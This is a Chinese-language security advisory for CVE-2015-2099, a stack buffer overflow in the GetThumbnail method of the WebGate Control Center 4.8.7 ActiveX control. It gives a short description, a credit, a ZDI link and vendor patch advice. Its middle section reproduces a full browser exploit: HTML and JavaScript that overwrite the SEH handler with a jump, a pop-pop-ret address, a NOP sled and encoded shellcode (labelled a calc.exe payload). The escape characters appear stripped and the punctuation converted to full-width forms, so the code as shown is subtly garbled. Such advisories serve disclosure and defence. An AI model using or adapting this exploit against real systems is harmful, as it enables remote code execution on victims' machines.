WebGate Control Center 4.8.7 GetThumbnail栈溢出漏洞

发布日期：2015-03-27
更新日期：2015-03-30受影响系统：
Webgate WebGate Control Center 4.8.7
Webgate WebGate Control Center
描述：
CVE（CAN） ID: CVE-2015-2099 WebGate Control Center是网络视频监控终端的中心监控程序。WESPPlayback.WESPPlaybackCtrl.1控制存在安全漏洞，GetThumbnail方法复制任意数据到固定大小的栈缓冲区，这可使攻击者在受影响浏览器上下文中执行任意代码。<*来源：rgod （rgod@autistici.org）

链接：http://www.zerodayinitiative.com/advisories/ZDI-15-063/
*>测试方法：警告以下程序（方法）可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
<html>
<！--
Author: Praveen Darshanam
http://blog.disects.com/
http://darshanams.blogspot.com # Exploit Title: WebGate Control Center GetThumbnail Stack Overflow SEH Overwrite （0Day）
# Date: 27th March, 2015
# Vendor Homepage: http://www.webgateinc.com/wgi/eng/
# Software Link: http://www.webgateinc.com/wgi/eng/index.php？svc_name=product&amCode=C029&asCode=C039&ec_idx1=P040&ptype=view&page=&p_idx=35
# Version: Control Center 4.8.7
# Tested on: Windows XP SP3 using IE/6/7/8
# CVE : 2015-2099 targetFile = "C:WINDOWSsystem32WESPSDKWESPPlayback.dll"
prototype = "Sub GetThumbnail （ ByVal SiteSerialNumber As String , ByVal Channel As Integer , ByVal secTime As Long , ByVal miliTime As Integer ）"
progid = "WESPPLAYBACKLib.WESPPlaybackCtrl"
--> <object classid="clsid:4E14C449-A61A-4BF7-8082-65A91298A6D8" id="getthumb">
</object>
<script> var buff1 = "";
var arg2=1;
var arg3=1;
var arg4=1;
var nops = "";
var buff2 = ""; for （i=0;i<24; i++）
{
buff1 += "B";
} // jump over seh to shellcode
nseh = "xebx08PD";
// pop pop ret
var seh = "xa0xf2x07x10"; for （i=0;i<80; i++）
{
nops += "x90";
}
//calc.exe payload
sc = "x54x5dxdaxc9xd9x75xf4x59x49x49x49x49x49" +
"x43x43x43x43x43x43x51x5ax56x54x58x33x30" +
"x56x58x34x41x50x30x41x33x48x48x30x41x30" +
"x30x41x42x41x41x42x54x41x41x51x32x41x42" +
"x32x42x42x30x42x42x58x50x38x41x43x4ax4a" +
"x49x4bx4cx5ax48x4bx32x45x50x55x50x43x30" +
"x53x50x4bx39x4dx35x30x31x4fx30x52x44x4c" +
"x4bx56x30x46x50x4cx4bx31x42x34x4cx4cx4b" +
"x31x42x44x54x4cx4bx32x52x47x58x54x4fx38" +
"x37x50x4ax37x56x46x51x4bx4fx4ex4cx57x4c" +
"x35x31x33x4cx33x32x46x4cx37x50x49x51x48" +
"x4fx34x4dx45x51x4fx37x4dx32x4ax52x36x32" +
"x46x37x4cx4bx36x32x32x30x4cx4bx30x4ax37" +
"x4cx4cx4bx30x4cx32x31x54x38x5ax43x51x58" +
"x33x31x4ex31x30x51x4cx4bx36x39x47x50x53" +
"x31x48x53x4cx4bx30x49x35x48x5ax43x36x5a" +
"x57x39x4cx4bx46x54x4cx4bx33x31x49x46x56" +
"x51x4bx4fx4ex4cx49x51x38x4fx54x4dx35x51" +
"x58x47x37x48x4dx30x34x35x4ax56x43x33x43" +
"x4dx5ax58x37x4bx43x4dx46x44x43x45x4dx34" +
"x56x38x4cx4bx56x38x31x34x43x31x4ex33x42" +
"x46x4cx4bx44x4cx30x4bx4cx4bx36x38x45x4c" +
"x45x51x4ex33x4cx4bx54x44x4cx4bx33x31x48" +
"x50x4cx49x57x34x36x44x51x34x51x4bx51x4b" +
"x33x51x30x59x50x5ax36x31x4bx4fx4bx50x31" +
"x4fx51x4fx51x4ax4cx4bx42x32x5ax4bx4cx4d" +
"x31x4dx53x5ax35x51x4cx4dx4cx45x58x32x43" +
"x30x53x30x55x50x56x30x42x48x50x31x4cx4b" +
"x42x4fx4dx57x4bx4fx59x45x4fx4bx5ax50x48" +
"x35x4fx52x30x56x53x58x4ex46x5ax35x4fx4d" +
"x4dx4dx4bx4fx38x55x47x4cx53x36x33x4cx45" +
"x5ax4bx30x4bx4bx4bx50x43x45x43x35x4fx4b" +
"x47x37x32x33x53x42x42x4fx42x4ax55x50x46" +
"x33x4bx4fx49x45x43x53x53x51x52x4cx52x43" +
"x36x4ex55x35x44x38x33x55x33x30x41x41"; for （i=0;i<（5000-（buff1.length + nseh.length + seh.length + nops.length + sc.length））; i++）
{
buff2 += "A";
} fbuff = buff1 + nseh + seh + nops + sc + buff2;
getthumb.GetThumbnail（fbuff ,arg2 ,arg3 ,arg4）; </script>
</html>建议：
厂商补丁：Webgate
-------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：http://www.webgateinc.com/wgi/eng/index.php？svc_name=product&amCode=C029&asCode=C039&ec_idx1=P040&ptype=view&page=&p_idx=35